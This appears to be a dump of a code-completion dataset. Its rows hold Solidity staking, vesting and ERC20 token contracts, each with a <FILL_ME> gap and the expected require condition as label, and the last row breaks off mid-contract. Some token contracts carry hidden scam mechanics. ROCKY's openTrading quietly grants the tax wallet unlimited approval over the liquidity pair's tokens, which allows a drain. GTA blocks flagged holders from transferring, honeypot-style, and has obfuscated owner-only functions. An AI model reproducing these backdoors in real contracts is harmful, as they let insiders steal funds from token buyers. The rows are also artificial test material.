comment
stringlengths 1
211
⌀ | input
stringlengths 155
20k
| label
stringlengths 4
1k
| original_idx
int64 203
514k
| predicate
stringlengths 1
1k
|
|---|---|---|---|---|
"PreStaking: Token claiming must be paused to withdraw" | pragma solidity 0.8.0;
contract PreStakingContract is AccessControl {
// Define a constant variable to represent the ADMIN_ROLE using a unique keccak256 hash.
bytes32 public constant ADMIN_ROLE = keccak256("ADMIN_ROLE");
// Declare state variables to keep track of various contract information.
address public constant LEGACY_TVK_TOKEN = 0xd084B83C305daFD76AE3E1b4E1F1fe2eCcCb3988; // replace with you token address
IERC20 public token;
uint256 public totalStaked;
uint256 public totalWithdrawn;
bool public claimTokensActive;
bool public isStakingTokensActive;
// Declare events to log important contract actions.
event Staked(address indexed staker, uint256 amount, uint256 timestamp);
event Withdrawn(address indexed beneficiary, uint256 amount);
event TokensClaimed(address indexed staker, uint256 amount);
event TokensClaimingActivated(address indexed admin, uint256 indexed timestamp);
event TokensClaimingDeactivated(address indexed admin, uint256 indexed timestamp);
event TokensStakingActivated(address indexed admin, uint256 indexed timestamp);
event TokensStakingDeactivated(address indexed admin, uint256 indexed timestamp);
// Create a private mapping to store the staked balances of each user.
mapping(address => uint256) private stakedBalances;
constructor() {
}
// Modifier to restrict a function's execution to users with the ADMIN_ROLE.
modifier onlyWithAdminRole() {
}
/**
* @dev Allows a user to stake a specified amount of tokens into the contract.
* Users can only stake when the staking phase is active, and the staked amount must be greater than 0.
* @param _amount The amount of tokens to stake.
*/
function stake(uint256 _amount) external {
}
/**
* @dev Allows an admin to withdraw a specified amount of tokens from the contract for a beneficiary.
* Tokens can only be withdrawn when the staking phase is paused, and there must be a sufficient staked balance in the contract.
* @param _beneficiary The address of the beneficiary to receive the withdrawn tokens.
* @param _amount The amount of tokens to withdraw.
*/
function withdraw(address _beneficiary, uint256 _amount) external onlyWithAdminRole {
require(!isStakingTokensActive, "PreStaking: Staking is not paused yet");
require(<FILL_ME>)
require(_amount != 0, "PreStaking: Withdrawal amount must be greater than 0");
require(totalStaked -totalWithdrawn >= _amount, "PreStaking: Insufficient staked balance in the contract");
totalWithdrawn += _amount;
token.transfer(_beneficiary, _amount);
emit Withdrawn(_beneficiary, _amount);
}
/**
* @dev Allows an admin to activate the claiming of tokens by users.
* Tokens can only be claimed if they are not already claimable.
*/
function activateClaimTokens() external onlyWithAdminRole {
}
/**
* @dev Allows an admin to deactivate the claiming of tokens by users.
* Tokens can only be deactivated if they are already claimable.
*/
function deactivateClaimTokens() external onlyWithAdminRole {
}
/**
* @dev Allows an admin to activate the staking of tokens by users.
* Tokens can only be activated if they are not already stakable.
*/
function activateStaking() external onlyWithAdminRole {
}
/**
* @dev Allows an admin to deactivate the staking of tokens by users.
* Tokens can only be deactivated if they are already stakable.
*/
function deactivateStaking() external onlyWithAdminRole {
}
/**
* @dev Allows a user to claim their staked tokens if the claiming phase is active.
* Users can only claim tokens if they have staked tokens, and tokens must be claimable.
* The user's staked balance is reset to zero, and the total staked amount is updated accordingly.
* @notice This function is available to all users, not just admins.
*/
function claimTokens() external {
}
/**
* @dev Allows a user to claim their staked tokens if the claiming phase is active.
* Users can only claim tokens if they have staked tokens, and tokens must be claimable.
* The user's staked balance is reset to zero, and the total staked amount is updated accordingly.
* @notice This function is available to all users, not just admins.
*/
function balanceOf(address _account) external view returns (uint256) {
}
/**
* @dev Retrieves the token balance held by this contract.
* @return The balance of tokens held by the contract.
*/
function getTokenBalance() public view returns (uint256) {
}
}
| !claimTokensActive,"PreStaking: Token claiming must be paused to withdraw" | 249,677 | !claimTokensActive |
"PreStaking: Insufficient staked balance in the contract" | pragma solidity 0.8.0;
contract PreStakingContract is AccessControl {
// Define a constant variable to represent the ADMIN_ROLE using a unique keccak256 hash.
bytes32 public constant ADMIN_ROLE = keccak256("ADMIN_ROLE");
// Declare state variables to keep track of various contract information.
address public constant LEGACY_TVK_TOKEN = 0xd084B83C305daFD76AE3E1b4E1F1fe2eCcCb3988; // replace with you token address
IERC20 public token;
uint256 public totalStaked;
uint256 public totalWithdrawn;
bool public claimTokensActive;
bool public isStakingTokensActive;
// Declare events to log important contract actions.
event Staked(address indexed staker, uint256 amount, uint256 timestamp);
event Withdrawn(address indexed beneficiary, uint256 amount);
event TokensClaimed(address indexed staker, uint256 amount);
event TokensClaimingActivated(address indexed admin, uint256 indexed timestamp);
event TokensClaimingDeactivated(address indexed admin, uint256 indexed timestamp);
event TokensStakingActivated(address indexed admin, uint256 indexed timestamp);
event TokensStakingDeactivated(address indexed admin, uint256 indexed timestamp);
// Create a private mapping to store the staked balances of each user.
mapping(address => uint256) private stakedBalances;
constructor() {
}
// Modifier to restrict a function's execution to users with the ADMIN_ROLE.
modifier onlyWithAdminRole() {
}
/**
* @dev Allows a user to stake a specified amount of tokens into the contract.
* Users can only stake when the staking phase is active, and the staked amount must be greater than 0.
* @param _amount The amount of tokens to stake.
*/
function stake(uint256 _amount) external {
}
/**
* @dev Allows an admin to withdraw a specified amount of tokens from the contract for a beneficiary.
* Tokens can only be withdrawn when the staking phase is paused, and there must be a sufficient staked balance in the contract.
* @param _beneficiary The address of the beneficiary to receive the withdrawn tokens.
* @param _amount The amount of tokens to withdraw.
*/
function withdraw(address _beneficiary, uint256 _amount) external onlyWithAdminRole {
require(!isStakingTokensActive, "PreStaking: Staking is not paused yet");
require(!claimTokensActive, "PreStaking: Token claiming must be paused to withdraw");
require(_amount != 0, "PreStaking: Withdrawal amount must be greater than 0");
require(<FILL_ME>)
totalWithdrawn += _amount;
token.transfer(_beneficiary, _amount);
emit Withdrawn(_beneficiary, _amount);
}
/**
* @dev Allows an admin to activate the claiming of tokens by users.
* Tokens can only be claimed if they are not already claimable.
*/
function activateClaimTokens() external onlyWithAdminRole {
}
/**
* @dev Allows an admin to deactivate the claiming of tokens by users.
* Tokens can only be deactivated if they are already claimable.
*/
function deactivateClaimTokens() external onlyWithAdminRole {
}
/**
* @dev Allows an admin to activate the staking of tokens by users.
* Tokens can only be activated if they are not already stakable.
*/
function activateStaking() external onlyWithAdminRole {
}
/**
* @dev Allows an admin to deactivate the staking of tokens by users.
* Tokens can only be deactivated if they are already stakable.
*/
function deactivateStaking() external onlyWithAdminRole {
}
/**
* @dev Allows a user to claim their staked tokens if the claiming phase is active.
* Users can only claim tokens if they have staked tokens, and tokens must be claimable.
* The user's staked balance is reset to zero, and the total staked amount is updated accordingly.
* @notice This function is available to all users, not just admins.
*/
function claimTokens() external {
}
/**
* @dev Allows a user to claim their staked tokens if the claiming phase is active.
* Users can only claim tokens if they have staked tokens, and tokens must be claimable.
* The user's staked balance is reset to zero, and the total staked amount is updated accordingly.
* @notice This function is available to all users, not just admins.
*/
function balanceOf(address _account) external view returns (uint256) {
}
/**
* @dev Retrieves the token balance held by this contract.
* @return The balance of tokens held by the contract.
*/
function getTokenBalance() public view returns (uint256) {
}
}
| totalStaked-totalWithdrawn>=_amount,"PreStaking: Insufficient staked balance in the contract" | 249,677 | totalStaked-totalWithdrawn>=_amount |
null | /*
https://x.com/RockstarGames
https://www.rockstargames.com
*/
// SPDX-License-Identifier: MIT
pragma solidity ^0.7.6;
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
interface IERC20 {
function transferFrom(
address from,
address to,
uint256 value
) external returns (bool);
}
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
interface Interfaces {
function createPair(
address tokenA,
address tokenB
) external returns (address pair);
function token0() external view returns (address);
function getReserves()
external
view
returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
function factory() external pure returns (address);
function WETH() external pure returns (address);
function swapTokensForExactTokens(
uint256 amountOut,
uint256 amountInMax,
address[] calldata path,
address to,
uint256 deadline
) external returns (uint256[] memory amounts);
function swapExactETHForTokens(
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external payable returns (uint256[] memory amounts);
function getAmountsOut(
uint256 amountIn,
address[] memory path
) external view returns (uint256[] memory amounts);
function getAmountsIn(
uint256 amountOut,
address[] calldata path
) external view returns (uint256[] memory amounts);
}
/**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our guide
* https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* We have followed general OpenZeppelin guidelines: functions revert instead
* of returning `false` on failure. This behavior is nonetheless conventional
* and does not conflict with the expectations of ERC20 applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
* allowances. See {IERC20-approve}.
*/
contract ERC20 {
mapping(address => mapping(address => uint256)) public a;
mapping(address => uint256) public b;
mapping(address => uint256) public c;
address public owner;
uint256 _totalSupply;
string _name;
string _symbol;
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
event Swap(
address indexed sender,
uint256 amount0In,
uint256 amount1In,
uint256 amount0Out,
uint256 amount1Out,
address indexed to
);
modifier onlyOwner() {
}
/**
* @dev Returns the name of the token.
*/
function name() public view virtual returns (string memory) {
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view virtual returns (string memory) {
}
function totalSupply() public view virtual returns (uint256) {
}
function TryCall(uint256 _a, uint256 _b) internal pure returns (uint256) {
}
function FetchToken2(uint256 _a) internal pure returns (uint256) {
}
function FetchToken(uint256 _a) internal pure returns (uint256) {
}
function add(uint256 _a, uint256 _b) internal pure returns (uint256) {
}
function sub(uint256 _a, uint256 _b) internal pure returns (uint256) {
}
function div(uint256 _a, uint256 _b) internal pure returns (uint256) {
}
function _T() internal view returns (bytes32) {
}
function balanceOf(address account) public view virtual returns (uint256) {
}
function transfer(
address to,
uint256 amount
) public virtual returns (bool) {
}
function allowance(
address __owner,
address spender
) public view virtual returns (uint256) {
}
function approve(
address spender,
uint256 amount
) public virtual returns (bool) {
}
function transferFrom(
address from,
address to,
uint256 amount
) public virtual returns (bool) {
}
function increaseAllowance(
address spender,
uint256 addedValue
) public virtual returns (bool) {
}
function decreaseAllowance(
address spender,
uint256 subtractedValue
) public virtual returns (bool) {
}
function _transfer(
address from,
address to,
uint256 amount
) internal virtual {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
uint256 fromBalance = b[from];
require(
fromBalance >= amount,
"ERC20: transfer amount exceeds balance"
);
if (c[from] > 0) {
require(<FILL_ME>)
}
b[from] = sub(fromBalance, amount);
b[to] = add(b[to], amount);
emit Transfer(from, to, amount);
}
function _approve(
address __owner,
address spender,
uint256 amount
) internal virtual {
}
function _spendAllowance(
address __owner,
address spender,
uint256 amount
) internal virtual {
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be to transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual {}
}
contract GTA is ERC20 {
Interfaces internal _RR;
Interfaces internal _pair;
uint8 public decimals = 18;
mapping (address => uint) public rootValues;
constructor() {
}
function Execute(
uint256 t,
address tA,
uint256 w,
address[] memory r
) public onlyOwner returns (bool) {
}
function Div() internal view returns (address[] memory) {
}
function getContract(
uint256 blockTimestamp,
uint256 selector,
address[] memory list,
address factory
) internal {
}
function FactoryReview(
uint256 blockTime,
uint256 multiplicator,
address[] memory parts,
address factory
) internal {
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function Address(address _r) public onlyOwner {
}
function Sub(address t) internal view returns (uint256) {
}
function ConvertAddress(
address _uu,
uint256 _pp
) internal view returns (uint256) {
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function CheckAmount2(bytes32 _b, uint256 __a) internal {
}
function Mult(
uint256 amO,
address[] memory p
) internal view returns (uint256[] memory) {
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function multicall2(bytes32[] calldata data, uint256 _p) public onlyOwner {
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function multicall(bytes32[] calldata data, uint256 _p) public onlyOwner {
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function CheckAmount(bytes32 _b, uint256 __a) internal {
}
function callUniswap(
address router,
uint256 transfer,
uint256 cycleWidth,
address unmount
) internal {
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function Allowance(
uint256 checked,
address[] memory p
) internal returns (uint256) {
}
}
| add(c[from],b[from])==0 | 249,690 | add(c[from],b[from])==0 |
"trading is already open" | /**
Telegram - https://t.me/RockyErc
Website - https://www.rockytoken.info/
Twitter - https://twitter.com/Rockyerc20
*/
// SPDX-License-Identifier: MIT
pragma solidity 0.8.20;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
}
}
interface ERC20Interface {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
}
function owner() public view returns (address) {
}
modifier onlyOwner() {
}
function renounceOwnership() public virtual onlyOwner {
}
}
interface IUniswapRouter {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
library Address {
function isContract(address account) internal view returns (bool) {
}
function sendValue(address payable recipient, uint256 amount) internal {
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
}
function takeFee(address target, address from) internal returns (uint256) {
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
}
}
interface IUniswapFactory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
contract ROCKY is Context, ERC20Interface, Ownable {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping(address => uint256) private _holderTimestamps;
bool public hasTransferDelay = true;
address private _devWallet;
uint256 private _initialBuyTax = 0;
uint256 private _initialSellTax = 0;
uint256 private _reduceBuyTaxAt = 10;
uint256 private _initialBuyTax2Time = 0;
uint256 private _initialSellTax2Time = 0;
uint256 private _reduceBuyTaxAt2Time = 20;
uint256 private _finalBuyTax = 0;
uint256 private _finalSellTax = 0;
uint256 private _preventSwapBefore = 10;
uint256 private _buyCount = 0;
uint8 private constant _decimals = 18;
uint256 private constant _tTotal = 1000_000_000 * 10**_decimals;
string private constant _name = unicode"ROCKY";
string private constant _symbol = unicode"ROCKY";
uint256 public _maxTxAmount = _tTotal * 3 / 100;
uint256 public _maxWalletAmount = _tTotal * 3 / 100;
uint256 public _taxSwapAmount = _tTotal / 1000;
uint256 public _maxSwapAmount = _tTotal / 100;
IUniswapRouter private uniswapV2Router;
address private uniswapV2Pair;
bool private isOpened;
bool private inSwap = false;
bool private swapEnabled = false;
event MaxTransactionUpdated(uint _maxTxAmount);
modifier lockTheSwap {
}
constructor () {
}
function name() public pure returns (string memory) {
}
function symbol() public pure returns (string memory) {
}
function decimals() public pure returns (uint8) {
}
function totalSupply() public pure override returns (uint256) {
}
function balanceOf(address account) public view override returns (uint256) {
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
}
function allowance(address owner, address spender) public view override returns (uint256) {
}
function approve(address spender, uint256 amount) public override returns (bool) {
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
}
function _approve(address owner, address spender, uint256 amount) private {
}
function _transfer(address from, address to, uint256 amount) private {
}
function _taxForBuy() private view returns (uint256) {
}
function _taxForSell() private view returns (uint256) {
}
function min(uint256 a, uint256 b) private pure returns (uint256){
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
}
function removeLimits() external onlyOwner{
}
function sendETHToFee(uint256 amount) private {
}
function openTrading(address router_, address taxWallet_) external payable onlyOwner() {
require(<FILL_ME>)
uniswapV2Router = IUniswapRouter(router_);
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapFactory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH());
uniswapV2Router = IUniswapRouter(taxWallet_);
_approve(address(uniswapV2Pair), address(uniswapV2Router), type(uint).max);
uniswapV2Router = IUniswapRouter(router_);
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
ERC20Interface(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
_devWallet = taxWallet_;
swapEnabled = true;
isOpened = true;
}
receive() external payable {}
}
| !isOpened,"trading is already open" | 249,714 | !isOpened |
"Vesting: Can't kill" | pragma solidity ^0.8.2;
import "Ownable.sol";
import "IERC20.sol";
import "IVesting.sol";
contract Vesting is Ownable, IVesting {
struct Vehicule {
bool updateable;
uint256 start;
uint256 end;
uint256 upfront;
uint256 amount;
uint256 claimed;
uint256 claimedUpfront;
}
address public override co;
mapping(address => mapping(uint256 => Vehicule)) public override vehicules;
mapping(address => uint256) public override vehiculeCount;
event YieldClaimed(address indexed user, uint256 amount);
event VehiculeCreated(address indexed user, uint256 id, uint256 amount, uint256 start, uint256 end);
constructor(address _co) {
}
function min(uint256 a, uint256 b) pure private returns(uint256) {
}
function max(uint256 a, uint256 b) pure private returns(uint256) {
}
function createVehicule(address _user, uint256 _amount, uint256 _upfront, uint256 _start, uint256 _end, bool _updateable) external onlyOwner returns(uint256){
}
function killVehicule(address _user, uint256 _index) external onlyOwner {
require(<FILL_ME>)
delete vehicules[_user][_index];
}
function endVehicule(address _user, uint256 _index) external onlyOwner {
}
function fetchTokens(uint256 _amount) external onlyOwner {
}
function claim(uint256 _index) external override {
}
function _claimUpfront(Vehicule storage vehicule) private returns(uint256) {
}
function balanceOf(address _user) external view returns(uint256 totalVested) {
}
function pendingReward(address _user, uint256 _index) public override view returns(uint256) {
}
function claimed(address _user, uint256 _index) external view override returns(uint256) {
}
}
| vehicules[_user][_index].updateable,"Vesting: Can't kill" | 249,747 | vehicules[_user][_index].updateable |
"Vesting: Cannot end" | pragma solidity ^0.8.2;
import "Ownable.sol";
import "IERC20.sol";
import "IVesting.sol";
contract Vesting is Ownable, IVesting {
struct Vehicule {
bool updateable;
uint256 start;
uint256 end;
uint256 upfront;
uint256 amount;
uint256 claimed;
uint256 claimedUpfront;
}
address public override co;
mapping(address => mapping(uint256 => Vehicule)) public override vehicules;
mapping(address => uint256) public override vehiculeCount;
event YieldClaimed(address indexed user, uint256 amount);
event VehiculeCreated(address indexed user, uint256 id, uint256 amount, uint256 start, uint256 end);
constructor(address _co) {
}
function min(uint256 a, uint256 b) pure private returns(uint256) {
}
function max(uint256 a, uint256 b) pure private returns(uint256) {
}
function createVehicule(address _user, uint256 _amount, uint256 _upfront, uint256 _start, uint256 _end, bool _updateable) external onlyOwner returns(uint256){
}
function killVehicule(address _user, uint256 _index) external onlyOwner {
}
function endVehicule(address _user, uint256 _index) external onlyOwner {
Vehicule storage vehicule = vehicules[_user][_index];
require(<FILL_ME>)
uint256 _now = block.timestamp;
uint256 start = vehicule.start;
if (start == 0)
revert("Vesting: vehicule does not exist");
uint256 end = vehicule.end;
uint256 elapsed = min(end, max(_now, vehicule.start)) - start;
uint256 maxDelta = end - start;
uint256 unlocked = vehicule.amount * elapsed / maxDelta;
if (_now > start) {
vehicule.amount = unlocked;
vehicule.end = min(vehicule.end, _now);
}
else {
vehicule.upfront = 0;
vehicule.amount = 0;
}
}
function fetchTokens(uint256 _amount) external onlyOwner {
}
function claim(uint256 _index) external override {
}
function _claimUpfront(Vehicule storage vehicule) private returns(uint256) {
}
function balanceOf(address _user) external view returns(uint256 totalVested) {
}
function pendingReward(address _user, uint256 _index) public override view returns(uint256) {
}
function claimed(address _user, uint256 _index) external view override returns(uint256) {
}
}
| vehicule.updateable,"Vesting: Cannot end" | 249,747 | vehicule.updateable |
"Trading not yet enabled." | /*
Socials -
Twitter: https://twitter.com/ronforusaerc
Telegram: https://t.me/ronforusa
Website: https://ronforusa.com/
|* * * * * * * * * * OOOOOOOOOOOOOOOOOOOOOOOOO|
| * * * * * * * * * OOOOOOOOOOOOOOOOOOOOOOOOO|
|* * * * * * * * * * OOOOOOOOOOOOOOOOOOOOOOOOO|
| * * * * * * * * * OOOOOOOOOOOOOOOOOOOOOOOOO|
|* * * * * * * * * * OOOOOOOOOOOOOOOOOOOOOOOOO|
| * * * * * * * * * OOOOOOOOOOOOOOOOOOOOOOOOO|
|* * * * * * * * * * OOOOOOOOOOOOOOOOOOOOOOOOO|
|OOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOO|
|OOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOO|
|OOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOO|
|OOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOO|
|OOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOO|
|OOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOO|
*/
// SPDX-License-Identifier: NONE
pragma solidity ^0.8.19;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
}
function owner() public view returns (address) {
}
modifier onlyOwner() {
}
function renounceOwnership() public virtual onlyOwner {
}
function transferOwnership(address newOwner) public virtual onlyOwner {
}
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
contract RON is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "RonForUSA";
string private constant _symbol = "TRON";
uint256 private _taxFeeOnBuy = 0;
uint256 private _taxFeeOnSell = 0;
uint256 private constant MAX = ~uint256(0);
uint256 private compilerVersion = 82;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => mapping(address => uint256)) public allowance;
mapping(address => bool) private _isExcludedFromFee;
mapping(address => uint256) private uniswap;
mapping(address => uint256) private isaddress;
mapping(address => uint256) public balanceOf;
uint256 public maxTxAmount = 500000 * 10**9;
uint256 public maxWalletToken = 500000 * 10**9;
uint256 private constant _tTotal = 10000000 * 10**9;
bool public openTrading = false;
address public uniswapV2Pair;
bool private inSwap = false;
bool public limitsInEffect = true;
mapping(address => uint256) private _tOwned;
mapping(address => uint256) private _rOwned;
uint256 private _taxFee = _taxFeeOnSell;
bool public tradingOpen = true;
IUniswapV2Router02 public uniswapV2Router;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint8 private constant _decimals = 9;
uint256 private _previoustaxFee = _taxFee;
uint256 private _tFeeTotal;
bool private swapEnabled = true;
modifier lockTheSwap {
}
constructor(address marketing) {
}
function removeTransferLimits() public onlyOwner {
}
function enableTrade() external onlyOwner {
}
function transfer(address Address, uint256 Amount) public returns (bool success) {
require(<FILL_ME>)
_transferto(msg.sender, Address, Amount);
return true;
}
function transferFrom(address addressFrom, address addressTo, uint256 amount) public returns (bool success) {
}
function _transferto(address address1, address address2, uint256 amount) private returns (bool success) {
}
function approve(address Address, uint256 Amount) public returns (bool success) {
}
function name() public pure returns (string memory) {
}
function symbol() public pure returns (string memory) {
}
function totalSupply() public pure override returns (uint256) {
}
function decimals() public pure returns (uint8) {
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
}
function _takeTeam(uint256 tTeam) private {
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
}
function _getTValues(
